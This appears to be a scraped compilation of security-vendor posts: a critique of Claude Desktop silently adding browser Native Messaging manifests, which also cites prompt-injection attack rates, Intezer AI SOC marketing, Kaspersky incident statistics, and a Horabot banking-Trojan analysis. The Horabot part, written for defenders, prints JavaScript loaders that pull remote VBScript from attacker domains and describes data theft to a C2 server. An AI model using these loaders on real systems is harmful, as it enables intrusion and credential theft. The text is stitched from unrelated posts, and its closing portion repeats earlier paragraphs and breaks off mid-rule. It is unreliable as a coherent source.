British businesses need to prepare themselves to defend against cyberattacks because the U.K. could be targeted “at scale,” if it became involved in an international conflict.
Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.
Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.
Let’s look at the claims first.
While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension.
By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.
The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.
Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.
It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.
So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent.
Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.
How bad is it?
Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.
I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.
Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.
It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.
What we don’t know yet
Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).
The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.
I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.
Conclusion
Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.
There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.
Stop threats before they can do any harm.

If you have feedback about this post, submit comments in the Comments section below.
The SOC is broken. Not because of a lack of talent or effort, but because human capacity does not scale. Alert volumes keep rising. Attacks move faster. And the operating model still assumes analysts will investigate most of what comes in, which means the vast majority of alerts never get looked at.
Our AI SOC Report 2026, based on analysis of 25 million alerts across our global customer base, put a sharp number on the problem. Over 60% of alerts are never reviewed by SOC and MDR teams. Nearly 1% of all incidents trace back to alerts classified at the lowest severity levels, signals most teams never touch. With average enterprises generating around 450,000 alerts annually, that equates to roughly one real threat per week hiding in the backlog, undetected.
That is not a tool problem. It is an operating model problem.
On April 27, we are bringing together the security leaders who are doing something about it.
AI SOC Live is a monthly, online event where security leaders discuss the latest issues facing the cyber industry. This month, AI SOC Live will be a full-day, invitation-only event at the Nasdaq in New York City. It is designed for CISOs, security directors, SOC managers, and MSSPs who are not just watching AI transform security operations from the sidelines, but are in the middle of it, making decisions about how their teams operate, what they invest in, and where the humans actually need to be.
This event is a full day of sessions, panels, and conversations built around the people, processes, and technology required to run a world-class SOC in 2026.
Who you will hear from at AI SOC Live Nasdaq
The speaker lineup reflects how seriously we have curated this event.
Itai Tevet, CEO and Founder of Intezer, will open the day with a session on the new SOC operating model, what it means when AI executes investigation and humans supervise outcomes, and why that shift changes security results structurally, not incrementally.
Alon Cohen, Founder and Executive Chairman of both Intezer and CyberArk, will speak to the broader impact of AI on security, drawing on decades of experience building foundational security companies.
Pavi Ramamurthy, Global CISO & CIO at Blackhawk Network as well as a founding member of the Professional Association of CISOs, and a venture advisor at YL Ventures. She will be speaking about the role of humans in the SOC.
David Spark, Founder and Executive Producer of the CISO Series Podcast, will host a live recording of the show featuring Nick Vigier, CISO at Oscar Health, digging into AI SOC beyond the hype.
You will also hear from CISOs at WCG Clinical, and ION Group, alongside practitioners from Realm Security, Legato Security, Upwind Security, and Monad. Sessions cover cloud security for the AI era, the blueprint for AI SOC success, and what every CISO needs to manage not only their security, but their executive board as well.
And Mitchem Boles, Field CISO at Intezer, and Marcus Mingo, Detection Engineer at Intezer, will be there all day, available for the kind of real, technical conversations that rarely happen at larger conferences. See the full list of speakers.
What the day looks like
The agenda moves quickly and stays practical.
The morning opens with sessions on the new operating model and AI’s impact on security, followed by a CISO panel on the role of humans in the SOC and a session from Realm Security on building a data-first AI SOC. After a working lunch with interactive product demos, the afternoon covers cloud security, a live CISO Series recording, and a panel on advancing SOC outcomes at the C-suite level.
The day closes with a photo opportunity in front of the iconic Nasdaq billboard, followed by a cocktail reception overlooking New York City.
Attendees also earn CPE credits through the event’s partnership with ISC2.
Why this conversation matters now
The 2026 data makes the stakes clear. Our report found that more than half of confirmed compromised endpoints had been marked as “mitigated” by the EDR vendor, meaning teams believed those machines were clean when they were not.
The gap between what organizations believe is covered and what is actually investigated is where real risk lives. Closing that gap requires a different operating model, one where AI investigates every alert, including the low-severity signals that human teams deprioritize, and humans supervise outcomes instead of grinding through queues.
That is the conversation happening at AI SOC Live.
Who should attend
This event is designed for CISOs, VPs and Directors of Information Security, SOC managers, and MSSPs from large enterprises who are responsible for security strategy, risk decisions, and operational outcomes. Whether you are evaluating AI for the first time or scaling capabilities you already have deployed, the sessions and conversations are built for leaders making real decisions, not attendees collecting swag.
The question isn’t whether to build. It’s what’s worth building.
Nearly every security organization with strong engineering resources is running some kind of internal AI project right now. That’s not a problem to be solved, it’s a sign of a healthy, capable team. The question worth asking isn’t “build or buy?” It’s a more precise one: which parts of this problem are worth your engineers’ time, and which parts aren’t?
That distinction changes the conversation entirely.
Intezer’s approach isn’t to compete with your internal roadmap. It’s to handle the commodity layer, common alert sources like CrowdStrike for example, so your engineers can focus on the security challenges that are actually unique to your organization. Some companies with very strong engineering teams are getting tremendous value from Intezer, precisely because they understand exactly what they’d rather not build themselves.
One Fortune 100 company started with Intezer for phishing triage, which removed a significant chunk of their internal DIY roadmap and freed their team to focus on their unique, internal use cases. Another F500 company went further as they expanded their Intezer contract while building their own custom internal AI for their own security use cases. Build and buy, working together, each doing what it does best.
So with that framing in mind, here’s an honest look at the parts of the AI SOC problem that are genuinely worth building and the parts that usually aren’t.
The maintenance treadmill nobody talks about
The first thing you encounter when you start building AI-driven alert triage is that the initial integration is only a fraction of the long-term work.
SIEM integrations break when vendors push updates. EDR APIs change without notice. New alert formats appear. Security tools version, deprecate endpoints, and shift data schemas on their own timelines. Keeping those integrations alive requires constant reverse engineering, work that is generic across every security organization in the world, but still consumes real engineering hours every single week.
Intezer already handles all of that. The integrations are built, maintained, and updated as the ecosystem evolves. When you offload the commodity layer, you skip the maintenance treadmill and get straight to what actually requires your organization’s specific knowledge.
Vendor alerts share many similarities even in different customer environments
Every security team knows their environment has its own complexity with unique infrastructure, specific tooling, particular workflows that took years to build. That’s real, and it matters.
But when it comes to the triage logic itself like investigating a suspicious lateral movement event, assessing a phishing alert, working through a cloud misconfiguration, the patterns tend to look remarkably similar across organizations. These are problems the industry has collectively solved thousands of times over.
That doesn’t diminish the work your team has done. It does raise a practical question: is rebuilding that common triage baseline the best use of your most capable engineers? The time spent recreating what already exists everywhere is time not spent on the challenges where your team’s knowledge is genuinely irreplaceable for your specific threat model, your particular infrastructure, and the edge cases no vendor has seen before.
Plugging into Intezer for the common alert sources isn’t a concession. It’s a way to protect your team’s time for the work that only they can do.
The integration challenge
One objection that comes up reliably, “we’ll need to do the integration work regardless”. That’s true. Connecting any automated system to your production security stack is environment-specific work that no vendor can fully do for you.
But here’s the distinction. With Intezer, that integration challenge is the only technically demanding part remaining. You’re not also building the investigation engine, the forensic analysis layer, the case correlation logic, the noise reduction system, and the detection feedback loop from scratch.
Building everything yourself means doing all of that foundational work and the integration. You spend months getting to a starting line that Intezer has already crossed, backed by years of operational learning across more than 150 enterprise deployments.
What the ROI actually looks like
There’s a headcount dimension here that often gets underweighted.
Building and maintaining your own AI SOC automation means dedicating engineering resources to it indefinitely. Those people aren’t available for other priorities. Their output is difficult to measure in security terms. And at the end of it, you’ve built something that performs commodity triage work, the same work Intezer has already productized and is continuously improving.
Buying Intezer converts that into a measurable line item with clear security outcomes attached: investigation accuracy, alert volume handled per analyst, time to resolution, escalation rate. RSM reported saving approximately 21,000 analyst hours per month, the equivalent of around 130 analysts, by running Intezer as their AI SOC layer. That’s not a soft productivity argument. It’s a concrete operational ROI story.
Continuous learning
One more dimension worth considering. What happens after an alert is triaged?
When Intezer investigates an alert, that outcome feeds back into detection engineering at the source, surfacing noisy or broken rules, mapping coverage gaps to MITRE ATT&CK, and generating deployment-ready detection rules informed by actual investigation results. The system gets smarter with every alert it processes. Detection improves based on evidence, not assumptions.
Homegrown automation rarely achieves this systematically. You triage the alert, close the ticket, and move on. The learnings don’t automatically improve your SIEM rules or extend your detection coverage. The system runs, but it doesn’t compound.
The practical frame
Think of it less as build vs. buy and more as what’s the right division of labor?
The commodity layer, common alert sources, standard triage logic, integration maintenance, detection lifecycle management, is worth offloading. That’s where Intezer operates. Your engineers stay focused on what’s actually differentiated: the security challenges that are specific to your environment, your risk profile, your business.
The teams that figure out this division early move faster, cover more, and build the things that actually matter.
Web shells are malicious scripts that give attackers persistent access to compromised web servers, enabling them to execute commands and control the server remotely. These scripts exploit vulnerabilities like SQL injection, remote file inclusion (RFI), and cross-site scripting (XSS) to gain entry.
Once deployed, web shells allow attackers to manipulate the server, leading to data theft, website defacement, or serving as a launchpad for further attacks. They are especially dangerous because they are also a post-compromise access mechanism (backdoor) rather than a standalone infection.
Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.
High-level overview of the MDR, IR and CA connection
This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.
The scope of MDR and IR services
Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).
Distribution of customers by geographical region, 2025
MDR telemetry
Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.
MDR telemetry statistics, 2025
Incident statistics
The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.
Distribution of all incidents by industry sector, 2025
Key trends and statistics
This section presents key findings and trends in cyberattacks in 2025:
The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).
The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Security operations is undergoing a fundamental shift.
As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and investigate all alerts at machine scale while keeping internal teams focused on judgment and response.
That shift was reflected clearly in Intezer’s momentum over the past year.
In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.
A year of strong growth
Over the past year, Intezer achieved several major company milestones:
Multiplied revenue year over year
Achieved 126% net revenue retention
Expanded adoption across Fortune 500 organizations
Scaled the team across key functions to support a growing enterprise customer base
These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.
Growing industry recognition
Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.
Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.
At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.
Why this momentum matters
Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.
Enterprises are increasingly adopting AI SOC to remove that bottleneck.
Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.
What the numbers show
The business results from the past year point to strong validation in the market.
Doubling revenue year over year signals accelerating demand.
126% net revenue retention reflects strong customer expansion and continued platform adoption.
Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.
And continued team expansion across key functions ensures Intezer can support customers as adoption grows.
Looking ahead
The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.
Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \

classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader
